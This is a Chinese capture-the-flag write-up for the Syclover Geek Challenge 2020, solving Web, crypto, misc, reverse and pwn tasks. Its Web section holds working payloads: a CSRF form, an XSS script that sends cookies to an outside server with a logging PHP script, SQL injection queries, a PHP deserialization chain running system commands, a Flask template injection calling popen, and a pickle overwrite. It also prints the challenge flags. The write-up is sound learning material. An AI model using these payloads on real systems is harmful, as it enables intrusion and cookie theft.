三叶草极客大挑战2020 部分题目Writeup
Web
Welcome
打开后状态码405,555555,然后看了一下报头存在请求错误,换成POST请求后,查看到源码
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
header("HTTP/1.1 405 Method Not Allowed");
exit();
} else {
if (!isset($_POST['roam1']) || !isset($_POST['roam2'])){
show_source(__FILE__);
}
else if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2'])){
phpinfo(); // collect information from phpinfo!
}
}
Payload:POST:roam1[]=1&roam2[]=2
去phpinfo查看内容,发现存在f1444aagggg.php页面,打开又没内容,再去报文看看,返回包报头看到flag,为SYC{w31c0m3_t0_5yc_r0@m_php1}
flagshop
一开始不知道怎么做,然后群里管理员说修复了BOT,以为是存储型XSS的考点,然后尝试了几种方法都没作用。然后就去休息了,回来后发现给了hint,说了是CSRF的考点,没接触过,百度学习了一下,上个链接:https://juejin.im/post/6844903689702866952,看了一下应该是从提交报告让BOT转账给我们。
先用Burp构造一个CSRF的Poc,这里需要补充一句:
让他发送提交的作用。这里构造好后要放在VPS上,这里谢谢m3w师傅提供!
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://173.82.206.142:8005/transfer.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="target" value="atao" />
<input type="hidden" name="money" value="10000" />
<input type="hidden" name="messages" value="xxx" />
<input type="submit" value="Submit request" />
</form>
<script>document.forms[0].submit(); </script>
</body>
</html>
有个验证码需要md5加密,写个脚本
#coding: utf-8
import hashlib
s = ''
dic = '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
md5 = hashlib.md5(dic).hexdigest()
for a in dic:
for b in dic:
for c in dic:
for d in dic:
t = str(a)+str(b)+str(c)+str(d)
md5 = hashlib.md5(t).hexdigest()
if md5[0:5] == 'b2156':
print t
print md5
提交的报告内容
<script>
new Image().src = 'Payload的网址';
</script>
过一会儿就转钱过来了,然后购买flag即可,最后flag为SYC{cross_s1t3_r3q43st_4orgery_1s_44nny}
朋友的学妹
打开后提示为查看源码,通过查看获得注释内容,上面还有使用base64解码的字样,即解码注释内容获得flag,为SYC{F1@_4s_h4Lpfullllll}
EZwww
根据提示存在备份文件,尝试发现为www.zip,获得一个假的flag和源码,源码如下
<html>
<head>
<title>Lola's website1.0</title>
</head>
<body>
<?php echo '<h1>welcome to my website</h1>'; ?>
<?php echo '<p>i will never forget to backup my website......</p>'; ?>
<?php echo '<img src="img/lola.gif" alt="welcome~"/>'; ?>
</body>
</html>
<?php
$key1 = $_POST['a'];
$key2 = base64_decode('c3ljbDB2ZXI=');
if($key1 === $key2)
{
//this is a true flag
echo '<p>SYC{xxxxxxxxxxxxxxxxxx}</p>';
}
?>
通过POST请求a变量然后比较base64解码内容获得flag,Payload:POST:a=sycl0ver,获得flag为SYC{Backup_1s_4_good_h4bit_l0l}
EZgit
通过提示知道是使用GitHack获得源文件,但是源文件打开后得到的是flag is toooo old!,根据题目提示应该是版本的问题,通过命令git log查看,发现存在另一个版本有flag的,使用命令git diff 3796466675a1db323e42170def92bee71344a2ee进行对比,获得flag为SYC{I_l0ve_sycl0ver_l0l}
刘壮的黑页
进去后到最下面看到一段代码,GET请求传入username变量,POST请求传入passwd变量,两个变量分别等于admin和syclover获得flag
Payload:
GET:?username=admin
POST:passwd=syclover
flag为SYC{d0_y0u_k0nw_GET?}
我是大黑客
打开后看到存在.bak的文件,然后用蚁剑连接,根目录下存在flag,flag为SYC{1iuzHuang_yyd_G0d!}
ezbypass
打开后如下:
Please use a GET request to pass in the variables a and b, compare them with strcmp and let strcmp return a value of NULL.
Note that a and b cannot be equal.
传一个a和b不相等且strcmp后置空,一个等于数组就可以绕过了
接着是:
OKOK,You got the first step.
Please POST a variable c that is not a number to make it equal to 123
传入c=123,但不是数字,应该是弱比较
Payload:GET:?a=x&b[];POST:c=123e
flag为SYC{php_4s_so_funny}
知X堂的php教程
存在一个目录穿梭和一个读取文件两个页面
分别查看了两个文件,目录穿梭使用的是exec("ls $search_dir", $contents);,不是$contents = scandir($search_dir);,那可能命令执行的漏洞。
但是不知道flag在哪里,但是可以使用find / -name flag配合``反引号带出flag文件的位置
Myblog
题目给出了提示:1.Do you know the PHP pseudo-protocol? 2.Every 5 minutes remove all upload files.
先找找与伪协议有关的内容,这里从url可以看出来,http://173.82.206.142:8006/index.php?page=home,后面home应该是存在漏洞的,是用伪协议进行读取,http://173.82.206.142:8006/index.php?page=php://filter/read=convert.base64-encode/resource=home
然后就是在登陆的地方获得一下源码,主要是验证的地方
admin/user.php(仅列出主要代码)
<?php
error_reporting(0);
session_start();
$logined = false;
if (isset($_POST['username']) and isset($_POST['password'])){
if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){ // No one knows my password, including myself
$logined = true;
$_SESSION['status'] = $logined;
}
}
if ($logined === false && !isset($_SESSION['status']) || $_SESSION['status'] !== true){
echo "<script>alert('username or password not correct!');window.location.href='index.php?page=login';</script>";
die();
}
?>
只需要验证对if ($_POST['username'] === "Longlone" and $_POST['password']==$_SESSION['password'])就可以登陆了,username很好实现,但是password和SESSION就不容易,但是置空的话就可以很轻易实现,完成登陆了。
接着从第二点提示可以看出,应该是文件上传的洞,找了一下发现只有上传头像的功能,那应该就是这里了,发现只能上传图片,最后解析成了图片,想到了文件包含,可以是用zip协议这类的,这里将php文件压缩后,更改后缀名,上传文件,然后访问?page=./路径+上传文件名%23压缩包中的文件名,即可。这里#一定要urlcode编码。
带恶人六撞
?id=1'
返回
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
判断存在sql报错注入
先尝试
?id=1 and (updatexml(1,concat(0x7e,(select database()),0x7e),1))
返回
hacker?
再试试别的报错函数,这里想到了上一届极客大挑战的extractvalue函数,这里用^进行连接
?id=1'^extractvalue(1,concat(0x7e,(select(database()))))%23
返回
XPATH syntax error: '~geek_sql'
然后查看表名
?id=1'^extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='geek_sql')))%23
返回
XPATH syntax error: '~blog,fllllag'
查看列名
?id=1'^extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='fllllag')))%23
返回
XPATH syntax error: '~id,fllllllag'
查看fllllag表中的fllllllag列
?id=1'^extractvalue(1,concat(0x7e,(select group_concat(fllllllag) from fllllag)))%23
返回
XPATH syntax error: '~welcome_to_syclover,longlone_ne'
好像没有回显全部内容,应该是extractvalue函数存在回显长度,配合limit回显每一行的内容
?id=1'^extractvalue(1,concat(0x7e,(select fllllllag from fllllag limit 2,1)))%23
返回
XPATH syntax error: '~SYC{liuzhuang_4s_@_G00d_m@n}'
告白网站
打开后是一个留言网站,测试了一下只有留言功能,想到了XSS,不过存在过滤,手工测试了一下过滤了"."、"%"、"&"、"=",这个验证机制真是要人命,百度了一圈都没有结果。后来看到了JSfuck,这个好像就是为了防止xss中被waf过滤出现的。
new Image().src="http://xxx.xxx.xxx.xxx/atao/test.php?cookie="+document.cookie;
将上面的内容通过jsfuck加密,然后用<script></script>框起来,发送,过一会儿就可以看到flag了。
IP: 101.132.140.4Date: 2020-11-05 3:08:56 Cookie:PHPSESSID=8fc34c9e3b713a9363d7db177468571e; cookie=SYC{This_iS_your_gift!!!!}
本来是想用XSS平台做的,但是一直没成功,感觉是自己太菜了不会用,因为只会用上面给的代码,然后借了Firebasky师傅vps用写了个php,代码如下:
<?php
$cookie = $_GET['cookie'];
$ip = getenv ('REMOTE_ADDR');
$time = date('Y-m-d g:i:s');
$fp = fopen("cookie.txt","a");
fwrite($fp,"IP: ".$ip."Date: ".$time." Cookie:".$cookie."\n");
fclose($fp);
?>
pop chain epic
源码如下:
<?php
class pop
{
public $aaa;
public static $bbb = false;
public function __wakeup()
{
//Do you know CVE?
echo "The class pop should never be serialized.";
$this->aaa = NULL;
}
public function __destruct()
{
for ($i=0; $i<2; $i++) {
if (self::$bbb) {
$this->aaa[1]($this->aaa[2]);
} else {
self::$bbb = call_user_func($this->aaa["object"]);
}
}
}
}
class chain
{
private $AFKL;
protected function getAFKL()
{
return $this->AFKL;
}
}
class epic extends chain
{
public $aaa;
public static $bbb = false;
public function __invoke()
{
return self::$bbb;
}
public function __call($name, $params)
{
return $this->aaa->$name($params);
}
}
if (isset($_GET["code"])) {
unserialize(base64_decode($_GET["code"]));
} else {
highlight_file(__FILE__);
}
很有趣的一道题目,被带着一直走,思路没对,一直以为要和下面那个继承类的东西合在一起,然后输出AFKL的值,一开始看到__invoke()魔术方法,感觉很开心,然后测试后发现不行,因为epic类中的bbb也是静态的false,所以调用函数后,pop类中的bbb还是false,所以这里应该是要调用函数,然后取执行$this->aaa[1]($this->aaa[2]),这个也可以从for循环中看出来,因为for循环只做两次,说明第一次去了回调函数,第二次应该不是去回调函数了。有了接下来的一段php代码
<?php
class pop
{
public $aaa;
public static $bbb = false;
}
class chain
{
private $AFKL;
protected function getAFKL()
{
return $this->AFKL;
}
}
class epic extends chain
{
public $aaa;
public static $bbb = false;
}
$a = new pop();
$a->$aaa = array('object'=>'phpinfo',1=>'echo',2=>'getAFKL');
object(pop)#1 (2) {
["aaa"]=>
NULL
[""]=>
array(3) {
["object"]=>
string(7) "phpinfo"
[1]=>
string(4) "echo"
[2]=>
string(7) "getAFKL"
}
}
这段代码存在一个最致命的错误,就是$a->$aaa,这个本来是想对aaa变量进行赋值的,但是前面写了$,所以这里出来的类会存在两个变量,然后因为我一直没看类的亚子,所以这里卡成一个傻逼。不过以后也要记住对于类中的变量的赋值!!!
<?php
error_reporting(0);
class pop
{
public $aaa;
public static $bbb = false;
}
$a = new pop();
$a->aaa = array('object'=>'phpinfo',1=>'system',2=>'cat /flag');
echo base64_encode(str_replace(":1:",":2:",serialize($a)));
X迪的pyp语言
打开网站后是一个登陆框,查看一下源码发现了,访问后获得了网站的源码,如下:
import re
from flask import Flask, render_template_string, request
import templates.templates as tp
app = Flask(__name__)
def isParamLegal(param):
return (re.search(r'{{.*}}|{%.*%}', param, re.M|re.S) is None)
@app.route('/')
@app.route('/index.php')
def main():
indexTp = tp.head + tp.index + tp.foot
return render_template_string(indexTp)
@app.route('/login.php', methods=["POST"])
def login():
username = request.form.get('username')
password = request.form.get('password')
if(isParamLegal(username) and isParamLegal(password)):
message = "Username:" + username + "&" + "Password:" + password
else:
message = "参数不合法"
loginTmpTp = tp.head + tp.login + tp.foot
loginTp = loginTmpTp % message
return render_template_string(loginTp)
@app.route("/hint.php")
def hint():
with open(__file__, "rb") as f:
file = f.read()
return file
if __name__ == '__main__':
app.run(host="0.0.0.0")
考点知道了是SSTI,但是需要构造,不过存在一个自定义函数,对于单个username或者password进行了限制,不能单个构造出{{ }}或者{% %}这样的内容,但是通过观察,从message下手依旧是可以的,将"{{"和"}}"分别给username和password变量。构造如下:
username = "{{'"
password = "'.__class__}}"
message = "Username:" + username + "&" + "Password:" + password
print message
#返回
Username:{{'&Password:'.__class__}}
#在网站上测试返回
Username:<class 'str'>
#由于没啥过滤很容就可以获得flag了
Payload:
username={{'
password='.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']("cat flag").read()}}
Longlone_Secret1
访问网址,没看出来有啥内容,F12查看源码获得:,GET请求传入name变量后获得源码,如下
from flask import Flask, request
import base64
import pickle
import io
import sys
import secret
app = Flask(__name__)
class YourSecret:
def __init__(self, name):
self.name = name
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__': #只允许__main__模块(白名单)
return getattr(sys.modules['__main__'], name) #返回对象属性值
raise pickle.UnpicklingError(
"global '%s.%s' is forbidden" % (module, name))
def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
@app.route('/')
def start():
if request.args.get('name'):
text = open(__file__, 'r', encoding='utf-8').read()
return text
else:
return "我之前听说Longlone深藏着一个秘密,但是今天他居然跟我说他把这个秘密藏在了一个地方,如果我可以找到的话,他就会给我一些奖励。<br>"\
"<br>但是他和我说要按他说的规矩来:必须凑够两个人才能开始游戏,那么,你愿意和我一起来吗?<br>"\
"<br>你说你愿意?那真的太好了,那么,在开始之前,告诉我你的名字吧!<br>"\
"<!-- Let me GET your name, so we can get started. -->"\
@app.route('/secret', methods=['GET', 'POST'])
def eql():
if request.method == 'POST': #POST请求才可以继续做
try:
data = base64.b64decode(request.form.get('secret')) #传入的secret变量进行base64解码
if b'R' in data: #opcode代码中不能存在"R"字符,opcode中经常使用通过R指令码进行命令执行
return "嗯?还想开挂?小心把你关进神仙服!"
else:
ser_data = restricted_loads(data) #进行pickle.loads反序列化
if type(ser_data) is not YourSecret: #反序列化后的ser_data应该要属于YourSecret类
return 'Are U sure this is longlone\'s secret?'
if ser_data.name == YourSecret(secret.name).name: #这里需要反序列化中的name等于secret类中的name值
return secret.flag #即可获得flag
else:
return 'The secret is incorrect!'
except Exception as e:
return repr(e) + '<br/>What do U want to do?'
else:
return "相信你也看到Longlone给我们的提示了,那么你能猜出他的秘密是什么吗?<br>"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
重点代码是/secret路由,分析写在上面了,这里能想到的方式有两种:1)变量赋值,即在传入反序列化字符串时,就让name=secret.name,但是这里多加了一个限制,修改了pickle.Unpickler.find_class()这个函数,使得我们要调用secret.name时会报错:_pickle.UnpicklingError: global 'secret.name' is forbidden,所以这里使用不了这个方法;2)变量覆盖,通过GLOBAL指令引入的变量,可以看作是原变量的引用。当在栈上修改它的值时,也会导致原变量也被修改,这里这主要就是利用了这个方法,原理的话之后会有一篇文章专门总结的。
Payload:secret=gANjX19tYWluX18Kc2VjcmV0Cn0oVm5hbWUKVmFkbWluCnViMGNfX21haW5fXwpZb3VyU2VjcmV0CimBfShYBAAAAG5hbWVYBQAAAGFkbWludWIu
转成opcode编码
\x80\x03c__main__\nsecret\n}(Vname\nVadmin\nub0c__main__\nYourSecret\n)\x81}(X\x04\x00\x00\x00nameX\x05\x00\x00\x00adminub.
简单的Payload:b"c__main__\nsecret\n}(S'name'\nS'xxx'\nub0(i__main__\nYourSecret\n(dS'name'\nS'xxx'\nsb."
使用的方式是变量覆盖,RestrictedUnpickler.find_class方法可以返回对象属性值,其中操作符c可以调用该方法,则有了c__main__\nsecret\n;模块__dict__属性是可以进行修改的,构造一个字典来修改对应键为什么值,构造通过}(S'name'\nS'xxx'\nu完成,然后使用b指令修改__dict__;最后使用0指令将它弹出栈;后接一个YouSecret类转成opcode字符串即可。
Cry
二战情报员刘壮
使用的是摩斯电码,flag为SYC{L1UZHU4NGIZ1Y1}
铠甲与萨满
使用的是凯撒密码,flag为SYC{liuzhuangliuzhuang_bangbangbang}
Misc
一“页”障目
将海报上的字符拼起来即可
壮言壮语
看到了佛曰,为与佛论禅,通过在线网站解码http://www.keyfc.net/bbs/tools/tudoucode.aspx,获得flag为SYC{i_l0ve_Japanese_wife}
Re
No RE no gain
使用IDA打开后,在main函数(不用F5伪代码)中直接看到flag
我真不会写驱动!
应该是非预期了,IDA打开后在sub_140001010函数直接看到flag,flag为SYC{First_Win64_DRIVER}
re00
题目提示了简单的异或,先看看主函数有没有东西,发现了:if ( (char)(buf[i] ^ 0x44) != byte_4060[i] ),异或的点找到了,然后根据上面的内容buf[i]是输入的字符串,所以要去看byte_4060[i]的内容,查看byte_4060获得下面的内容
char byte_4060[32]
.data:0000000000004060 byte_4060 db 17h, 1Dh, 7, 3Fh, 37h, 2Dh, 29h, 34h, 28h, 21h, 1Bh
.data:0000000000004060 ; DATA XREF: main+93↑o
.data:0000000000004060 db 37h, 2Dh, 29h, 34h, 28h, 21h, 1Bh, 3Ch, 2Bh, 3 dup(36h)
.data:0000000000004060 db 1Bh, 36h, 2Dh, 23h, 2Ch, 30h, 2 dup(7Bh), 39h
//n dup(m)的意思为n个m
将内容和0x44异或获得flag,脚本如下
a =[0x17, 0x1D, 0x7, 0x3F, 0x37, 0x2D, 0x29, 0x34, 0x28, 0x21, 0x1B,0x37, 0x2D, 0x29, 0x34, 0x28, 0x21, 0x1B, 0x3C, 0x2B, 0x36,0x36,0x36,0x1B, 0x36, 0x2D, 0x23, 0x2C, 0x30, 0x7B, 0x7B, 0x39]
b = 0x44
flag = ''
for i in a:
flag =flag + chr(i ^ b)
print flag
flag为SYC{simple_simple_xorrr_right??}
PWN
数学咋样?
先用nc连接看看,看到如下
------------------------------------------
Can you help me to solve my math problem?
------------------------------------------
I have 20 tests
![0] num_1 = 180, num_2 = 428
I can't calculate the expression 'num_1 + num_2'.
input your answer:
是一个加法,要循环20次就可以获得flag了,这里可以直接计算20次加法,也可以使用脚本,按照提示应该是要用脚本的。刚好上半年学了一点Pwn,这里用一下。脚本如下
import re
from pwn import *
p = remote('81.69.0.47',1111)
p.recvline()
p.recvline()
p.recvline()
for i in range(0,20):
put1 = p.recvline()
put = p.recvline()
calc1 = re.search(r'num_1 = (.*),',put).group().replace('num_1 = ','').replace(',','')
calc2 = re.search(r'num_2 = (.*)\n',put).group().replace('num_2 = ','').replace('\n','')
#print calc1
#print calc2
s = str(eval(calc1+'+'+calc2))
#print s
p.recvline()
put2 = p.recvn(18)
p.sendline(s)
while True:
strr = p.recvline()
print strr
if "SYC" in strr:
break
Pwntools库的一些常用函数
本地打开:p=process('./filename')
远程打开:p=remote('ip地址',端口)
发送payload
1)p.send(payload)发生payload
2)p.sendline(payload)发送payload,并进行换行(末尾\n)
3)p.sendfter(some_string,payload)接收到some_string后,发送你的payload
接收返回内容
4)p.recvn(N)接受N个字符
5)p.recvline()接收一行输出
6)p.recvline(N)接收N行输出
7)p.recvuntil(some_string)接收到some_string为止
本文作者:erR0Ratao
本文链接:https://www.cnblogs.com/erR0Ratao/p/14023017.html